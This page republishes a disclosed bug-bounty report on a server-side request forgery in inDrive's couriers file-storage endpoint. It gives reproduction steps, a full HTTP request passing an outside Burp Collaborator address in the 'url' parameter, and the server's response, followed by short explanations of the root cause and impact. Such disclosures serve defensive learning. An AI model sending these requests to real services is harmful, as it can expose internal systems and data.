Skip to content
SSRF Disclosed report Beginner

SSRF in https://couriers.indrive.com/api/file-storage

The file-storage endpoint accepted a user-supplied URL and fetched it server-side, returning the remote content in the response. An attacker could make the server request arbitrary internal or external resources and read the results.

cypher-28 Follow

Originally disclosed on HackerOne

  • Triaged in 3 hours
  • Fixed in 9 days
  • Paid in 8 days
  • Disclosed after 16 days

Summary by the program

The report

Summary:

SSRF in url parameter in https://couriers.indrive.com/api/file-storage

Steps To Reproduce:

I will try to demonstrate it using burp collaborator

  1. Request https://couriers.indrive.com/api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com ( replace url value with your burp collaporator )

  2. Notice the contnet being displayed in the response and also the Interaction in your burp collaborator

  • The Request
GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com HTTP/2
Host: couriers.indrive.com
Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ar;q=0.8


  • The Response
HTTP/2 200 OK
Authorization: Bearer undefined
Content-Disposition: attachment; filename="file
Date: Sun, 31 Dec 2023 13:19:04 GMT
X-Envoy-Upstream-Service-Time: 678
Server: istio-envoy
X-Cache: Miss from cloudfront
Via: 1.1 33c6e91bdc193e34e8dcc80edc466018.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MRS52-P2
X-Amz-Cf-Id: 9GuBZr1A03ZS0bEYUbDp80JZj8dNYCE4YoVUImLD5RU15dEM-vs5fQ==

<html><body>6zy5d1pwzab93qopx8jq2ezjigz</body></html>

Supporting Material/References:

████ ██████████ ████████

Note

If you request any website like for example www.google.com, https://couriers.indrive.com/api/file-storage?url=https://www.google.comyou will see its html content being displayed in the response

Impact

The url parameter doesn't sanitize The input properly which can make the Attacker to request any website he wants

The original report as published on HackerOne, by cypher-28. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the endpoint passed the user-controlled 'url' parameter directly to a server-side HTTP client without validating or restricting the destination.

Impact

An attacker could make the server request any website and read the returned content, which may expose internal services.

What the attacker needed

None

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SSRF is when a site lets a user give a web address and the server fetches it. Here the file-storage endpoint took a 'url' value, loaded the page at that address and showed it back. This could let someone ask the server to visit places the user cannot reach directly.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from inDrive

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.